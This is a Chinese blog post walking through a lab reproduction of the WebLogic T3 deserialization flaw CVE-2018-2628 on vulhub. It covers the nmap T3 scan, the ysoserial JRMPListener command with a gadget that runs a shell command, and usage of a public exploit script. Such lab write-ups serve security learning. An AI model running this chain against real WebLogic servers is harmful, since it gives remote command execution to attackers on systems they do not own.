WebLogic 反序列化远程代码执行漏洞(CVE-2018-2628)漏洞复现
漏洞概述:
在 WebLogic 里,攻击者利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。
名词概念:
序列化:序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。(通过ObjectOutputStream类的writeObject)
反序列化:就是把字节流恢复为对象的过程(通过ObjectInputStream类的readObject()方法)
RMI:远程方法调用(Remote Method Invocation)。简单来说,除了该对象本身所在的虚拟机,其他虚拟机也可以调用该对象的方法
JRMP:Java远程消息交换协议JRMP(Java Remote Messaging Protocol),JRMP是的Java技术协议的具体对象为希望和远程引用。JRMP只能是一个Java特有的,基于流的协议。相对于的RMI - IIOP的 ,该协议JRMP只能是一个对象的Java到Java的远程调用,这使得它依赖语言,意思是客户端和服务器必须使用Java。该协议基于TCP/IP,既然是作为信息交换协议,必然存在接收和发送两个端点,JRMPListener可以粗糙的理解为发送端,在本实验中意为攻击机上1099端口与weblogic靶机上的7001进行通信达到远程命令执行的目的。
影响版本:
Weblogic 10.3.6.0,Weblogic 12.1.3.0,Weblogic 12.2.1.2,Weblogic 12.2.1.3
环境搭建:
靶机:Ubuntu(192.168.168.133)
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628
本地:win7(172.10.24.153)
端口探测:
搭建好后先查看一下T3服务是否开启:
nmap -A -v -p 7001,7002 192.168.168.133 --script=weblogic-t3-info
使用windows查看,只能看见weblogic服务开启:
使用kali扫描,可见目标服务器开启了T3协议:
复现过程:
1、开启开启监听服务JRMPListen
本地开启监听服务JRMPListen,利用ysoserial的JRMP对1099端口监听(ysoserial下载地址:https://github.com/brianwrf/ysoserial/releases/tag/0.0.6-pri-beta)
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
其中,[command]即为我想执行的命令,而[listen port]是JRMP Server监听的端口。
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1009 CommonsCollections1 “touch /tmp/getshell”
2、exploit脚本攻击
利用exploit脚本攻击(exploit脚本下载地址:https://www.exploit-db.com/exploits/44553)
命令:python exploit.py [目标ip] [目标port] [ysoserial路径] [JRMPListener ip] [JRMPListener port] [JRMPClient]
#目标ip就是weblogic的ip。端口weblogic的端口
#ysoserial路径就是上方使用的ysoserial的路径
#JRMPListener port为主机端口,就是我使用的win7,监听端口上方1009
#JRMPClient命令执行。[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2
3、查看文件是否创建成功
使用
docker ps查看docker名字:
进入docker:
docker exec -ti cve20182628_weblogic_1 /bin/bash查看文件:
ls -la /tmp
漏洞修复:
T3协议漏洞加固的话可以打上官方最新的补丁。
参考连接:https://www.geek-share.com/detail/2760982774.html
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628
- WebLogic 反序列化远程代码执行漏洞(CVE-2018-2628)
- 【漏洞通告】Weblogic 反序列化远程代码执行高危漏洞 (CVE-2018-2628)
- WebLogic 任意文件上传远程代码执行_CVE-2018-2894漏洞复现
- WebLogic 任意文件上传远程代码执行_CVE-2018-2894漏洞复现
- Adboe Flash远程代码执行_CVE-2018-4878漏洞复现
- WinRAR远程代码执行漏洞复现(CVE-2018-20250)
- 利用Vulnhub复现漏洞 - Jmeter RMI 反序列化命令执行漏洞(CVE-2018-1297)
- IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现
- 利用Vulnhub复现漏洞 - Electron WebPreferences 远程命令执行漏洞(CVE-2018-15685)
- windows RDP远程代码执行_CVE-2019-0708漏洞复现
- Weblogic反序列化命令执行漏洞(CVE-2018-2628)
- Struts2——052(CVE-2017-9805)远程代码执行漏洞复现
- CVE-2017-7269(iis6.0远程代码执行漏洞复现)
- CVE-2018-7600-Drupal远程代码执行漏洞-Render API
- Node.js 反序列化漏洞远程执行代码(CVE-2017-5941)
- Free MP3 CD Ripper_缓冲区溢出远程代码执行_CVE-2019-9766漏洞复现
- CVE-2018-7600 Drupal核心远程代码执行漏洞分析
- iis6.0远程代码执行漏洞复现(CVE-2017-7269)
- CVE-2019-0708 远程桌面代码执行漏洞复现
- Apache struts2 namespace远程命令执行_CVE-2018-11776(S2-057)漏洞复现